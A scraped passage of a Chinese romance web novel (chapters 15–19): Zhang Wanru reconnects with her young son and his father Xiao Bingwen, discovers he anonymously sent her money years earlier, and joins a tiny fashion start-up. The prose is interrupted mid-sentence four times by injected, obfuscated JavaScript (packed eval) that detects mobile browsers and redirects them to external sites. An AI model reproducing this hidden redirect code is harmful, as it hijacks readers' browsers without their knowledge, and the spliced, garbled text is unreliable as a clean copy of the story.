张婉如觉得她想得太远了,她道:“目前我们还没有工厂,就算有设计图纸有样板,还得先找合适的工厂代工,而且就算有成品了,还得找销售渠道,货品得能卖出去才有价值。” 袁雯听完赞同点点头,拍了拍她的肩膀,“小婉真是个干实事的,我想得远,你着眼现实,咱两正好互补。” 小戎来到学校后就安安静静坐在座位上等着老师上课。周围吵嚷得很,三三两两的小朋友聚集在一起玩,小戎没心思跟他们玩。 不想却有几个小朋友凑上前来找他说话,有个小女孩问道:“肖楚戎,昨天来接你的漂亮阿姨真的是你妈妈吗?” “嗯。”肖楚戎应了一句,有些冷淡,他也不太想跟他们说话。 小女孩又道:“以前怎么没有见过她啊?我们都以为你没有妈妈。” 这话听得肖楚戎越发不快,他冷声道:“她去外地工作了,不过她现在回来了以后也不会走。” 小女孩见他生气了,便热情伸出手,“肖楚戎你来跟我们一起玩吧。” 肖楚戎没应,目光有些冷,只是在无声拒绝。 小女孩虽然年纪小,但也是要面子的,见状便气哼哼说了一句,“哼,不玩算了!” 随后就拉着别的小朋友抛开不管他了。 下午张婉如去接孩子放学,出来时没看到王华丽,张婉如:“今天王老师不来接你吗?” “嗯。” 张婉如还以为是王老师家里有事耽搁,也没多问。两人回去是坐公交车,两站路就到,在公交车上找位置坐下,张婉如想到小戎说过在幼儿园没有朋友,她便问了一句:“小戎在幼儿园有说得上话的同学吗?” 小戎摇摇头,张婉如也能理解,小戎性格内向,不过她不希望孩子一直这么内向下去,她道:“没事的时候也可以跟同学说说话交流交流,如果有同学找你说话,就算你不喜欢也要大方回应一下人家,这是礼貌问题。这样有来有回,说不定就能交到朋友了。” 小戎不喜欢跟别人说话,是怕别人谈到他的妈妈,他们都有自己的妈妈,都会谈自己的妈妈,可是以前他没有。所以就习惯了一个人玩,久而久之也就不太喜欢跟人说话。 不过他没有跟妈妈这样说,只是点点头。张婉如也不着急,孩子的性格是长时间养成的,自然也需要时间去改变,她会慢慢引导。 将孩子接到家中之后张婉如问了小戎一句:“王老师今天什么时候来给你补课?” “不来了。”小戎回了一句。 “为什么?” 小戎犹豫了一会儿说道:“爸爸把王老师辞退了。” “啊?因为什么?” 小戎沉默了一会儿摇了摇头。 虽说爸爸告诉过他是怕妈妈误会,但他聪明的小脑袋瓜知道不能直接跟妈妈这样说。 这消息还挺让张婉如震惊的,昨天还好好的怎么今天就辞退了?张婉如想到昨天找肖秉文说的那些话,问他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144658|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是在跟王老师交往。昨天她才提过今天王老师就被辞了,有这么巧吗?不会就因为这些把王老师辞了吧?为什么呢?完全没有必要啊。 张婉如回过神来,又问小戎:“你爸爸还给你找新老师吗?” 小戎点点头,张婉如道:“行吧,在这之前里就好好玩,想玩什么我陪你。” 小戎将茶几抽屉里的玩具车拿出来,是她给他买的那辆,塑料封还没拆,张婉如道:“怎么还没拆封啊,要不要我帮你拆?” 小戎点点头,将玩具车向她递过去。正好这时候肖秉文回来了,小戎抬头见到来人,招呼道:“爸爸。” 张婉如也抬头看向他,招呼了一声,“回来了?” 肖秉文望着这一大一小两张脸,脚步不自觉在门口停顿了好几秒才点了点头走进来。 肖秉文在沙发上坐下,一眼就看到张婉如正在拆那玩具车塑料膜,小戎则在旁边看着,翘首以待。 他面上不显,心里却想着,这臭小子竟然还区别对待,昨天他说给他拆他不乐意,原来是要留着让他妈帮他拆啊。 张婉如帮小戎将塑封拆掉,拿着车子上下看了一眼,车子不大,大约一个手掌大小,看着也没什么特别,不知道为什么卖这么贵。 张婉如问他:“你知道怎么玩吗?” 小戎摇头,张婉如便看了一下说明书,车子是上发条的,往后倒一下车就能上紧发条。张婉如便试着做了一下,倒一下车一放,果然车子一下就冲了出去。张婉如感叹,还真是高科技啊,怪不得卖那么贵,然而下一秒,好巧不巧的,车子直接撞在肖秉文脚上。 张婉如:“……” 张婉如向他看去,正好对上肖秉文询问的目光,张婉如忙道:“抱歉,我不是故意的。” 肖秉文微勾嘴角笑了笑,“没关系。” 也不知道是不是她的心理作用,她总感觉肖秉文这抹笑带着几分深意,莫名让她觉得危险。 客厅挺大的,张婉如便拿着玩具车去了客厅开阔些的地方,冲小戎招招手说道:“我们在这边玩吧。” 小戎走上去,张婉如蹲下,他也跟着她蹲下,张婉如将玩具车给他,让他试一下。小戎学着她的动作,先倒车再放手,奇怪的是,玩了几次,车子都开不出直线。张婉如觉得奇怪,这玩具车怎么老喜欢拐弯跑啊。 “为什么开不了直线呢?”她接过车说道:“我再研究一下。” 她尽量将车子顺着直线往后倒,再放,这下车子跑得更弯,而且在路过茶几的时候撞了一下茶几的脚,改变了一下行车路线,下一刻便直挺挺撞在肖秉文脚上。 张婉如:“……” 肖秉文懒洋洋坐在沙发上,一手随意搭着沙发靠背,一手端着茶喝着,这会儿被车子撞了一下,耷拉着眼皮看了一眼车子,又看了一眼张婉如。 张婉如也觉得无语,什么死车啊,连着两次了,他不会觉得她是故意的吧? 16. 第 16 章 张婉如轻咳一声,挺正经道了个歉,“抱歉,我真不是故意的。” 肖秉文慢悠悠将茶杯放桌上,嘴角勾着一抹浅浅的笑,“没事。” 张婉如有点尴尬,便将车子给小戎,“小戎你试一下呢,看看怎么开直线。” 小戎接过车,倒车上紧发帖,再松手,车子开出去还是拐了个弯,就那么不巧的,啪一下又撞肖秉文脚上。 三次。 肖秉文都在怀疑是不是这母子俩嫌他在这里多余了。小戎走上前将车子捡起来,肖秉文倒没生气,只说道:“该说什么?” “爸爸对不起,我不是故意的。” 肖秉文笑笑,用手背在他脸上轻轻弹了下,说道:“没关系的乖儿子。” 小戎抱着玩具车回到张婉如身边,张婉如问道:“动画要开始了,看动画还是玩玩具?” 小戎晃了晃玩具车,示意要继续玩,张婉如看了肖秉文一眼,“要不我们去别的房间玩吧?” 别又撞到肖秉文了,不是故意的都显得像故意的。 肖秉文当然清楚,这是顾忌着他呢,他道:“没关系,你们就在这儿玩,其他地方也没客厅宽敞,我不要紧。” 他都这样说了她也不好带着孩子去别的房间,显得像在躲着他。张婉如就尽量小心一点,仔细研究这玩具车到底怎么回事,怎么就跑不了直线,研究得太投入了,母子俩竟就直接坐在地上,两颗脑袋瓜挨在一起在那车上捣鼓。 两人说话的声音,玩具汽车发条声和跑动的声音,其实挺吵的,动画片开始了也没人看。肖秉文又调到体育频道看球赛,声音太吵了他也没听清电视声音,不过他也没心思看。 之前张婉如没在时,这房子里住着他们父子和赵阿姨,三个人,人也不少,但也从未像现在这样闹哄哄的。 儿子内向不太爱说话,很安静,家里的氛围也静悄悄的,现在就多了一个人,整个家一下热闹起来。 肖秉文偶尔还往两人身上落一眼,虽然脚被撞了几下,这会儿还火辣辣的,不过他竟一点没生气,甚至在看到母子俩直接坐在地上研究时还很贴心想着要不干脆装个地毯。 最终张婉如研究的结果是,这玩具车就是有问题,怎么都跑不了直线,看样子得抽空去那家玩具店找老板问问。 晚上张婉如依旧给小戎讲睡前故事,不过小戎房间里的儿童读物不多,而且儿童读物都挺薄的,读了几天就没得读了。 张婉如道:“我明天去买几本书回来,你想听什么故事?” “你读什么我就听什么。”小戎道。 “那就西游记,三国演义怎么样?里面的故事挺适合小男孩的。” “西游记是不是有齐天大圣的?” “你知道啊?”张婉如挺意外,他才五岁竟然就知道四大名著的西游记。 “我看过动画片。” 原来如此。张婉如道:“西游记小说可比动画片精彩多了,我明天买了就给你读好不好?” “嗯。”小戎点点头,骤然想到什么,说道:“我爸爸书房就有西游记。” “那正好,不用买了,可以跟你爸爸借。” 小戎听到这话以为现在就要去借,掀开被子便打算爬起来,张婉如急忙道:“不着急,今天太晚了,我们明天再读。”她将被子给他拉上去盖住,“别着凉了。” 张婉如等他睡着了从房间出来,小戎房间对面就是肖秉文的书房,张婉如见门缝中漏出些灯光,肖秉文应该还在里面忙。 张婉如其实挺想问问王老师到底怎么回事的,只是一直没找到机会,当着小戎的面她实在不好问。正好可以去找肖秉文借书,顺便问一下。只是准备敲门时张婉如又犹豫了,她其实不太愿意跟肖秉文单独呆在一起。 做了一会儿心理准备,张婉如在门上敲了敲,里面传来肖秉文低沉的声音,“进来。” 肖秉文以为是赵阿姨来给他送宵夜,一抬头才发现进来的人是张婉如。这倒是稀奇,她竟主动来找他,想着上次她主动来找他是为了王老师的事儿,不知道这次来找他又是为了什么。 肖秉文便拿过钢笔帽盖上,下意识拧了几下将钢笔放在一边,目光带着询问向她看过来,“找我有事?” 肖秉文的书房中一溜烟用的都是乌木家具,大气却显得沉闷。他坐在办公桌后面,那巨大的老板椅尊贵而威严,他高大的个子却也没被这老板椅压了气场。这肃穆的一切好似与他浑然一体,他看过来时,即便目光平静也带着几分审视的压迫感。 “我……本来给小戎读故事来着,小戎的故事书不多,今天正好都读完了,我打算买本西游记给他读,小戎说你这里有,不知道可不可以借一下。” 就这事儿啊。肖秉文起身从书架上将西游记取下来给她。 “谢谢。”张婉如接过却没走。 肖秉文站在她跟前,见状,双手插进西裤口袋,好整以暇看着她,问道:“还有事?” “那个……我听小戎说你把王老师辞退了,为什么啊?王老师是犯了什么错吗?” 听到这话肖秉文神色淡了淡,搞了半天,还是关于王老师的事,怎么尽是因为这不是事儿的事儿来找他。 肖秉文道:“王老师没犯什么错,只是我想调整一下小戎的课外课,这事我也跟小戎商量过,他也愿意调整,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144659|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于调整成什么样我们暂时还没讨论,所以英文这块就暂时不补了。” 原来如此,张婉如便放了些心,主要是太巧合了,她昨天刚问了肖秉文他和王老师的关系,今天王老师就被辞退,她怕是因为这个。不过想想也觉得不太可能,问了一句肖秉文就把人辞退,没那个必要。 “还有事没有?”肖秉文问她。 “没事,不打扰你了。” 张婉如说完便要离开,目光从他办公桌上扫过时,无意间看到堆在他办公桌上的信封。信封堆了厚厚的一沓,崭新的还没用过。张婉如瞟过的目光瞬间被定住,她下意识向他办公桌走过去,拿起最上面的一个信封,一双眼睛死死盯着,仿若要黏在上面。 这个年代的信封式样有很多,眼前的信封信纸偏黄,信封边缘有着红线印出的凹凸纹样,右上角是贴邮票的虚线,虚线的颜色却是蓝色的,而左上角写邮编的几个方框却是红色的。 张婉如看了一眼背面,澧县津滨印刷厂,澧县并不在柳城,在一个叫惠市的地方,那个地方的印刷业挺出名的。 “怎么了?”肖秉文问道。 张婉如没回答,握着信封的手指却在微微发抖。她内心一片震动,一句话都没说就转身离开,离开时还带走了那个信封。 她回到房间,在自己从增城带回的行李口袋的夹层中翻出她保留的那个信封,仔细对比,不管是信封的大小还是花纹,以及背后的印刷厂都一模一样。 不同的是她这个信封上面写了一行字,用遒劲的笔力写着一行收件地址。 当年她离开柳城之后并没有直接去增城,她先去了良安县。良安县在隔壁市,当年肖秉文要给她补偿,不过她没要,所以离开时她身上的钱并不多,那是她能到的最远地方了。 她在良安县落脚时受了些罪,那时候没什么社会经验,进厂被无良老板骗,还差点被人骗到灰色地带万劫不复。那段时间她过得胆战心惊,每天只能窝在廉价出租屋里,这种房子连张床都没有。 身上没钱,出门又怕被骗,她在出租屋里饥一顿饱一顿,有那么一刻她甚至觉得她会饿死在这里。 而收到这封信时正好就是在她人生最灰暗最艰难的时候,信里面并没有信纸,只塞了一沓钱。 她不知道这是谁寄给她的,是不是寄错了,但那时候的她饥寒交加,虽想不明白为什么突然有人给自己寄钱,但这笔钱对此刻的她来说无疑是救命稻草。而有了这笔钱她才能顺利去增城,顺利在增城生活下去。 此刻,看着两个一模一样的信封,一个不可思议的怀疑在她脑海中炸开。 或许当年给她那笔钱的人是肖秉文。 17. 第 17 章 她从未想过这笔钱是来自肖秉文,离开时她对他说的话决绝又伤人,她想用这种方式斩断和他的一切联系,但她也清楚这些话肯定是伤了他自尊的。 肖秉文这种出生优渥,走一步就被人夸一句的人,听了那些话怎么可能还寄钱给她? 可为什么这两个信封这么像?是巧合吗? 张婉如慢慢将心头的震动平息,她直接拿着信封又去敲响肖秉文书房的门。 “进来。” 进来的是张婉如。方才张婉如离开时行为有些奇怪,肖秉文也不知道发生了什么,这会儿天晚了他不好去她房间问她,怕吓到人,不想没一会儿她又返回,肖秉文有些意外。 此刻张婉如的面色却不太好,肖秉文疑惑道:“怎么了?” 张婉如走到他办公桌跟前,拿出两个信封,“这个信封是我刚在你桌上拿的,这个信封是我曾经收到过的,里面装了一笔钱。这两个信封几乎一模一样,我想知道,当年这笔钱是你寄给我的吗?” 肖秉文目光在那两个信封上扫了一眼,随后又落在她身上。从她的表情上他看不出来被她发现这件事对她来说是好事还是坏事,所以他暂时没有作答。 然而张婉如目光在他摊开在办公桌的文件上看了一眼,肖秉文方才就在上面写字,此刻已在文件纸上已写了一半。张婉如将信封上的字和他文件上的字对比了一下,一样的大气舒张的遒劲字体。 答案已经呼之欲出了。 张婉如简直不敢相信。 肖秉文也知道事情瞒不住,她知道就知道吧,或许她会觉得他多管闲事,毕竟这丫头自尊心那么强,或许又会大吵一架,搞不好又把她给惹跑了。 肖秉文有些头疼,不过也如实承认道:“确实是我寄给你的。” 张婉如心情很复杂,即便方才已经平复过了,此刻却依旧控制不住心底掀起的惊涛骇浪,沉默了好一会儿她才开口。 “为什么?”她真的很不解,“我离开的时候把话说得那么绝,为什么还要寄钱给我?还有,你怎么知道我在哪里?” 肖秉文道:“那时候你走得不远,要知道你在哪里还是很好查的,我在部队时认识了一个小弟,他是侦察兵出生,是他帮我查到的。” 不过后来她去了增城他就查不到了。 “至于为什么要给你这笔钱。”肖秉文靠坐在老板椅上,手指捏了捏眉心,随后目光向她看过来,嘴角勾着一抹笑,眼神中却透着几许无奈,他道,“你就当是我犯贱,多管闲事。” 张婉如还记得她离开那日,肖秉文抱着孩子追上她试图让她留下。 “你要走我不会勉强,我也承诺过会给你补偿,未来会保你衣食无忧,但能不能等小戎大一点,他还这么小,好歹等他断奶你再走。” 张婉如刚怀孕的时候想拿掉孩子,那时候在上高中身上没那么多钱,她只能去找肖秉文。 肖秉文当时劝过她留下孩子,说是生下来他抚养就行不用她操心,但张婉如坚持,后来肖秉文还是同意了,带她去了医院。 不过去医院却查出她有严重贫血没法做流产手术,肖秉文就劝她先养好身体,等养好了再考虑,后来没办法,她只能离开学校,去了肖家养身体。 在肖家她确实也被照顾得很好,身体慢慢养好了,想去做引产的时候肖秉文又说月份大了孩子都发育成熟了,引产孩子痛苦她也痛苦,劝她生下来,那时候已经是孕中期,她都能感受到胎动,确实也不忍心就答应生下来。 本打算生下来就走的,可他又说孩子太小,好歹等能加辅食,现在孩子能吃辅食了,她想走了,他又来劝他等断奶了再走。等断奶了是不是又要等他会说话会走路,等会说话会走路了是不是要等他再大一点能接受她离开? 她不想因为孩子拖住自己的一生,心里有太多的怨恨,那场意外也是她这辈子都挥之不去的阴影。每每看到肖秉文就会想到在那个废弃仓库里,她被喂了药,和肖秉文发生的不堪回首的一切,还有那个在不远处拿着相机拍照的变态。 为了孩子她没有再上学,虽然肖秉文承诺过如果她父母不愿意供她上学,他可以继续供她,但她实在不想跟肖秉文再扯上关系了。 为了让事情结束得彻底,她说的话也很决绝。 “如果你真的想补偿我,就不应该阻止我的选择。你根本不会明白,我每天面对着你,对我来说是怎样一种煎熬。曾经那场意外对我来说是人生中最屈辱的一段回忆,你要是真的心存愧疚,以后就不要出现在我面前,我不想触及那段回忆,所以我不想再看到你。我这次离开也不打算再回来了,希望我们就像没有认识过那样。” 还记得那天天气不太好,天空沉闷压抑,空气像是上了粘稠剂一样。听到这些话的肖秉文面沉如水,他良久无言。 她用“最屈辱的一段回忆”来形容,对于肖秉文来说确实也挺伤自尊的。 他沉默了许久,最终没有再劝,说道:“我明白了。” 所以,在她收到那笔钱的时候怎么都没想到是肖秉文给她的。 他为什么要给她钱呢?明明她都已经把话说成那样了他还要找她,在知道她困难时还要给她钱,她想不明白为什么。 “你就当是我犯贱,多管闲事。” 张婉如思绪翻动,一时也不知该如何言语。那笔钱对她来说确实算得上是救命钱了,或许当初给她这笔钱时他也经过了考量,没有给太多让她不敢收,也没有太少,刚好能让她度过难关。 那信封她也一直留着,本以为是别人寄错了,或许哪一天那个人发现了会让她还钱,而她也一直做好了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144660|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱的准备。 可她怎么都没想到这个人会是肖秉文。 说起来她讨厌肖秉文一直都出于自己的主观意识,一开始是因为她的继母,肖秉文和她继母沾点亲戚关系,因为这层关系她对肖秉文也有几分讨厌。后来是那场意外,给她造成了极大的心理阴影,她对他已经不单单是讨厌了,更是害怕,恐惧。 可严格来说肖秉文也并未做什么令她讨厌的事情,就算是那场意外,他也是被绑架的人之一,他也被喂了药,他也是受害者。 而且他在军队那么多年,也曾为保家卫国立下军功,这样的人能坏到哪里去呢? 或许是看在她和他有过一个孩子的份上,他才让人寻找,得知她过得不好也出于情面给了些帮助,这都是出于他正直的人品,哪怕她曾对他说过那些话。 张婉如收回思绪,那个信封被她紧捏在手里,心情复杂难言,这件事给她的冲击实在太大了,沉默了许久许久她才开口说道:“谢谢你。” 声音有些小,而且她的音色天生就很软,软绵绵的,像夏日清晨的一阵风,吹在人身上,带来刚刚好的舒适感。 短暂诧异了片刻,还以为她会怪他没事找事,不想竟跟他道谢了。一抹弧度在嘴角不可察觉勾了一下。 他道:“不用客气。” “那我先走了,不打扰你。” 张婉如回到房间,这一晚她却翻来覆去睡不着觉,有太多的疑惑,好像对肖秉文也有了新的了解。不过不管怎么样,她现在欠了肖秉文一个人情。 第二日一早,肖秉文父子起来时正好看到张婉如从厨房出来,她手上端了两碗面。 “你们起来得正好,来吃早餐。” 一大一小两碗面,面上还窝了个鸡蛋,小戎那个鸡蛋还弄成爱心的形状。张婉如从厨房又端了一碗出来,那是她自己的。她坐下一抬头就对上还站在旁边两脸懵逼的父子,张婉如道:“坐下吃啊,再不吃要坨了。” “你做的?”肖秉文疑惑。 “嗯,醒来得早没什么事就来做做吃的。你们尝尝看味道调得怎么样,味道不够再加。” 父子两坐下便夹起面尝起来,肖秉文道:“还行。”小戎也点点头,张婉如便放了些心。 肖秉文嗦着这碗张婉如给他做的面,不禁诧异,想着她在肖家老宅养胎那段时间,她对他能避就避,而现在竟主动给他做起早餐了? 张婉如意识到肖秉文的目光,她不明所以,问道:“怎么了?是味道不对吗?” “没有,挺好的。” “那就好。” 她冲他笑了笑,笑意印在眼底,一双眼睛水润润的,没有以往的疏离客气,柔得不像话。 肖秉文看得一愣。 如果他没感觉错的话,张婉如这是在向他示好? 18. 第 18 章 张婉如对他示好这事儿就挺匪夷所思的,就算这次回来对他客气了很多,但也和他保持距离感,能不多说话就不多说话,更别说示好了。 想着昨日她柔声跟她道谢,是因为他曾给她的那笔钱?就那些钱? “对了。”面吃得差不多了张婉如又开口说道:“我找了个工作。” 话是对父子两说的,肖秉文目光扫过去,“嗯?” “不过并不耽误接送小戎。” 肖秉文点了下头,本想问她什么工作,但好像触及到她隐私了,和张婉如的接触让他习惯了话语间对她的顾忌,所以能保留就保留。 不想张婉如却主动向他说起,“在一家小公司做服装设计,我在工厂的时候学过一些,小时候也学过画画,正好用得上。工资虽然不高,不过时间挺自由的。” 肖秉文诧异看了她一眼,连工资不高这事儿也能对他说,这是在向他分享她的生活?果真是稀奇啊。 张婉如说完就对上肖秉文一脸似笑非笑的表情,落在她身上的目光似也带着几分深意,张婉如觉得莫名其妙,不过随即他就低头嗦了一口面,说道:“嗯,不错。” 张婉如倒也没多想。 两人将孩子送到学校,张婉如打算直接做公交去公司,正要跟肖秉文道别,肖秉文却问了一句:“你公司在哪儿,我送你过去。” “不用,挺远的,我打公交过去就行。” “没事,上车吧。” 张婉如便重新坐上车,肖秉文按照她给的地址将车子开到老城区的一条巷子入口,他看了一眼外面低矮的平房和有些杂乱的街道,问道:“你公司在这里?” 张婉如能明白他脸上的诧异,她第一次来这里时也挺诧异的。 “就这条巷子过去。” 肖秉文微拧眉心,“是正规公司吗?” 这话听着是在怀疑她被骗了,张婉如当时也觉得袁雯像个骗子,她道:“是正规公司,工商部门注册了的。我先进去了,谢谢你送我过来。” 肖秉文其实挺想跟过去看看的,但又怕她觉得自己多管闲事,虽然今天她对他态度好了一些,可终究两人还是有一些隔阂在,得适当保持距离。 他往巷子里看了一眼,什么都看不到,这会儿过来确实也耽误了一会儿,他便暂时没管,将车子倒出去了。 袁雯看到张婉如进来挺惊喜的,“啊呀还以为你不会来的。” “都签了合同怎么会不来?” “来了就好来了就好。”袁雯冲她指了指多出来的一架缝纫机,“你的工作间。” 张婉如笑了笑,做服装的有一台自己的缝纫机,相当于有一个能吃饭的碗。她试了一下还挺好用。 “喜欢吗?” “挺喜欢的。” “那行,我们来例行开个早会。” 参加早会的员工就她们两个,开早会的目的就是商讨一下接下来的工作计划。袁雯将收集的资料给了张婉如一份,这是袁雯挑选的各大品牌针对不同季节推出的不同服装系列,资料收集得很详细。 有现成的模版可以学习,他们可以依葫芦画瓢。而现在两人要做的就是对他们服装品牌的定位。 两人都定位在针对年轻时尚的女性,这点倒是挺有默契。定位做好了就要推出接下来的主打系列,这是决定一个品牌能不能立起来的关键。 两人针对系列这个问题却有不同的意见,最终两人决定保留各自的意见,并各自着手自己的系列设计出几套代表服装。 不过两人虽然讨论得挺激烈,但目前也只是纸上谈兵,实际操作起来每一项都需要资金。 小到设计图纸的颜料,大到服装量产时的费用,张婉如问她:“公司目前有多少可用的资金” 袁雯沉默了一会儿冲她伸出一个手指头,张婉如道:“一万?” 这个资金有点少了,她刚要说话,袁雯道:“一千。” “……” “没事儿,这钱够发你这个月工资。” “这不是工资不工资的事情啊,我们在这儿讨论了半天,你这一千块钱能做什么?” “我们可以去拉投资嘛,这几天我们就把所有计划都弄完善。我们的主打系列弄得精彩一点,还有公司的前景也往最大的方向设想,只要准备工作做好了,不愁找不到投资。” “问题是你去哪儿找投资啊?” “啊呀,慢慢找总能找到的嘛。” “……” 张婉如对于袁雯是欣赏的,她确实很有才华,不然当初也不会决定来跟着她做,她其实也想着来跟她学点东西。不过袁雯思考问题也确实不切实际,总习惯于把一且都想得太简单,对未来的设想太过理想,缺少了具体的规划。张婉如突然有些后悔,总感觉跟着她不太靠谱。 既来之则安之,张婉如想着还是走一步看一步吧。不过袁雯工作起来倒是挺认真的,她对时尚的把握也有一定的敏感度,可能也跟她在国外呆过有关。对公司未来的规划虽然太理想化了,但听着还是挺给人希望的。 总之第一天一起工作两人合作得还算愉快。 下午张婉如去接小戎,下了公交车,在进幼儿园之前听到有人叫了一声“小戎妈妈”,张婉如一开始没反应过来,但“小戎”两个字吸引了她的注意力,再想着小戎妈妈不就是她吗?张婉如急忙回头看去,却见是小戎的家教王老师。 “王老师?你是来接小戎的吗?” 张婉如想着昨天小戎告诉她王老师被辞退的事情,今天王老师就来了,暗想着难道肖秉文改变主意了? “没有,我来等你的。”王老师笑容倒是挺客气,“方便说几句话吗?” 张婉如有些疑惑,她这几年都不在家,王老师找她有什么好聊的?不过她点点头,两人去了处人少的地方。 王老师说道:“我做小戎的家庭教师已经有一年了,这一年我和肖先生合作的挺愉快,也没发生过什么摩擦。小戎的英文也是由我给他启蒙的,他进步得很快,肖先生对我的工作也也满意,这一年大家合作默契,相安无事,可就在昨天,肖先生突然将我辞退了。”王老师说完目光深深看向她,“小戎妈妈,你知道什么原因吗?” 张婉如听出了她的意思,虽然她没有明说,但王老师提到这一年都相安无事,肖秉文却突然将她辞退,偏偏就在她回来后不久,似乎是跟她有关系。张婉如觉得莫名其妙,她道:“肖秉文辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15147259|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退你的时候应该跟你说过原因吧?” “他说他想给小戎更改一下课外辅导课的课程,英文这块暂时不用学了。” “你也知道我这些年没在家,小戎的事情都是由肖秉文决定的。肖秉文要更改小戎的辅导课只需要跟小戎商量就行,我其实是没法插手的。你要问我原因,肖秉文跟你说什么那应该就是什么了,其他的我并不知道。” 王老师没说话,仔细打量了一下张婉如的表情,看她也不像是说谎的,看样子是她想多了。不过她这话倒是给了她一些提醒,肖秉文辞退她这件事应该是经过小戎同意的。想着这一年多的相处,她在小戎身上确实费了一些心思,可那又怎么样,说辞退就辞退,这孩子也同意。 她突然有些愤怒,果然不是自己的孩子,费那么多心思又有什么用。 王老师点点头说道:“好了我明白了,不好意思打扰了你。” “没事,你要不要跟小戎见见面?我带他出来跟你打声招呼?” “不用了。”王老师有些失望,她来这里一来是想找张婉如问清楚,二来也是想跟小戎见一见,不过看这情况也没必要见面了。 张婉如看着王老师离开的背影,想着她问她的话。王老师为什么会怀疑是她回来的原因肖秉文才辞退她?不过想着她得知肖秉文辞退王老师时也怀疑过是不是她问了肖秉文她和王老师有没有在一起,但王老师并不知道她问过肖秉文关于他们之间的事情。 照目前的情形来看,肖秉文和王老师应该是没什么的,不然肖秉文也不可能说辞退她就辞退她。可是她又觉得有什么地方怪怪的,肖秉文那边没什么,但王老师这里呢? 张婉如摇摇头,想这些做什么,不管哪种情况都是肖秉文的私事,跟她没关系,她没必要过问。 张婉如的生活变得规律起来,早上送孩子,下午接孩子,晚上陪孩子读会儿故事书睡觉。 肖秉文平时睡得晚,工厂里事情挺多的,行政方面的事务现在基本都是他在处理。工厂越做越大,往后行政部还得扩展,最好行政大楼和工厂要分开,两边都要单独有人管,不然他一个人根本忙不过来。 门上响起敲门声,肖秉文应了一句,这个点赵阿姨应该已经睡了,肖秉文疑惑看了一眼,却见进来的人是张婉如。 最近她来找他有些频繁了,不过肯定又是为了些不是事儿的事儿,肖秉文也没什么期待,问道:“有事?” 果然张婉如走上前将信封递上来,是几年前他给她寄的那个,上面还有他亲笔写上的地址。不过信封被塞得很饱-满,不用想都知道里面装了什么。 肖秉文靠坐在椅背上,手掌握着扶手椅的把手,目光似笑非笑向她看过来,“这是……” “当年你给了我两千块,算上这些年的利息,我该还你两千二。” 是来还钱的,肖秉文看着她递过来的信封,莫名有股气梗在心口,不过他知道这当然不是她的恶意,张婉如对他的态度一向都是如此不是吗? 前几天还觉得她在向他示好呢,原来她心里门清。 这感觉就像,她不想欠他人情,甚至连利息都算上,不占他一点便宜,要和他划清界限,不想跟他沾上一丁点关系。 19. 第 19 章 肖秉文当初给她钱也没想过要她还,心里梗得不舒服,不过他在沉默片刻之后还是接过了信封,她要做什么,他就让她做什么好了,为了两千块钱推来推去的也麻烦。 果然看他接过她松了口气。 “谢谢你。”她再次说道。 肖秉文示意了一下信封,“你已经还给我了,所以不用谢。” “还是谢谢你。” 她说完就转身离开了,肖秉文将那信封丢在桌上,鬓角肌肉动了几下,随即摸出一根烟点燃,狠吸了几口,压那股火。 张婉如和袁雯对待工作都挺认真,在确定了公司的定位和各自负责的系列之后,两人便专心投入设计创作。不过做衣服需要材料,各种布料,不同颜色不同材料的线,两人都用得很节约,但做了两套衣服之后就发现不够用了。 没办法,资金的问题又在会议中提上日程,袁雯为此却没有太担心,她道:“钱这个问题去拉投资就好了。” 上次她就这么说了,张婉如道:“但是我们拉谁投资?或者我该问,有谁愿意为我们这种名不见经传的小小公司投资?” “这个啊你就不用担心啦!”袁雯扬了一下下巴,又道:“我已经联系好了人,对方这个星期六会带个大老板来一起吃饭,到时候你跟我一起去。我们一起将公司的前景,还有各自负责的系列带给大老板看,再跟他谈谈我们对未来的规划,我相信他一定会心动的。” 